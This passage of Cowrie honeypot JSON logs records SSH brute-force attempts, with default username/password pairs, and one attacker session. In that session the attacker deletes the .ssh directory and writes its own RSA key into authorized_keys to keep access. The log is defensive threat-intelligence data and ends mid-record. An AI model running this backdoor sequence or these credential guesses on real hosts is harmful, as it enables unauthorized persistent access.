{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:12:10.214636Z","src_ip":"124.18.182.99","session":"37daccaa885f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:12:10.385539Z","src_ip":"124.18.182.99","session":"37daccaa885f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:12:11.110981Z","src_ip":"124.18.182.99","session":"37daccaa885f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:12:12.287082Z","src_ip":"124.18.182.99","session":"37daccaa885f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.934330463409424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:12:30.609061Z","src_ip":"104.245.105.2","session":"4f9b38bf8190","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":42108,"dst_ip":"159.203.135.109","dst_port":22,"session":"abc45935b716","protocol":"ssh","message":"New connection: 223.17.5.126:42108 (159.203.135.109:22) [session: abc45935b716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:12:51.767717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:12:51.772140Z","src_ip":"223.17.5.126","session":"abc45935b716","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:12:51.990358Z","src_ip":"223.17.5.126","session":"abc45935b716","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser2","password":"123456","message":"login attempt [ftpuser2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:12:52.895343Z","src_ip":"223.17.5.126","session":"abc45935b716","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:12:54.120027Z","src_ip":"223.17.5.126","session":"abc45935b716","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":42640,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9833c5ba809","protocol":"ssh","message":"New connection: 124.18.182.99:42640 (10.17.0.5:22) [session: d9833c5ba809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:11.653243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:11.658042Z","src_ip":"124.18.182.99","session":"d9833c5ba809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:11.836837Z","src_ip":"124.18.182.99","session":"d9833c5ba809","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle2018","message":"login attempt [oracle/oracle2018] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:12.586444Z","src_ip":"124.18.182.99","session":"d9833c5ba809","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:12.979279Z","src_ip":"124.18.182.99","session":"d9833c5ba809","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:12.982045Z","src_ip":"124.18.182.99","session":"d9833c5ba809","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:12.985050Z","src_ip":"124.18.182.99","session":"d9833c5ba809","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:13.165015Z","src_ip":"124.18.182.99","session":"d9833c5ba809","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:13.556690Z","src_ip":"124.18.182.99","session":"d9833c5ba809","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:13.559624Z","src_ip":"124.18.182.99","session":"d9833c5ba809","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:13.742322Z","src_ip":"124.18.182.99","session":"d9833c5ba809","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:13.746316Z","src_ip":"124.18.182.99","session":"d9833c5ba809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":42656,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5783aa77a2a","protocol":"ssh","message":"New connection: 124.18.182.99:42656 (10.17.0.5:22) [session: e5783aa77a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:13.903058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:13.907671Z","src_ip":"124.18.182.99","session":"e5783aa77a2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:14.078819Z","src_ip":"124.18.182.99","session":"e5783aa77a2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:14.795528Z","src_ip":"124.18.182.99","session":"e5783aa77a2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:15.969782Z","src_ip":"124.18.182.99","session":"e5783aa77a2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":42664,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f620fabbd4c","protocol":"ssh","message":"New connection: 124.18.182.99:42664 (10.17.0.5:22) [session: 1f620fabbd4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:16.152975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:16.158136Z","src_ip":"124.18.182.99","session":"1f620fabbd4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:16.340231Z","src_ip":"124.18.182.99","session":"1f620fabbd4c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:17.086213Z","src_ip":"124.18.182.99","session":"1f620fabbd4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:17.268027Z","src_ip":"124.18.182.99","session":"d9833c5ba809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:17.271534Z","src_ip":"124.18.182.99","session":"1f620fabbd4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":27856,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf6d9a13c800","protocol":"ssh","message":"New connection: 194.59.206.2:27856 (10.17.0.5:22) [session: cf6d9a13c800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:18.954674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:18.959792Z","src_ip":"194.59.206.2","session":"cf6d9a13c800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:19.050167Z","src_ip":"194.59.206.2","session":"cf6d9a13c800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:19.143789Z","src_ip":"194.59.206.2","session":"cf6d9a13c800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.116.193.37","src_port":37612,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bdc0ad878fe","protocol":"ssh","message":"New connection: 37.116.193.37:37612 (10.17.0.5:22) [session: 2bdc0ad878fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:32.979558Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:32.984853Z","src_ip":"37.116.193.37","session":"2bdc0ad878fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.116.193.37","src_port":37614,"dst_ip":"10.17.0.5","dst_port":22,"session":"4758c65ac1d3","protocol":"ssh","message":"New connection: 37.116.193.37:37614 (10.17.0.5:22) [session: 4758c65ac1d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:33.090887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:33.095150Z","src_ip":"37.116.193.37","session":"4758c65ac1d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hma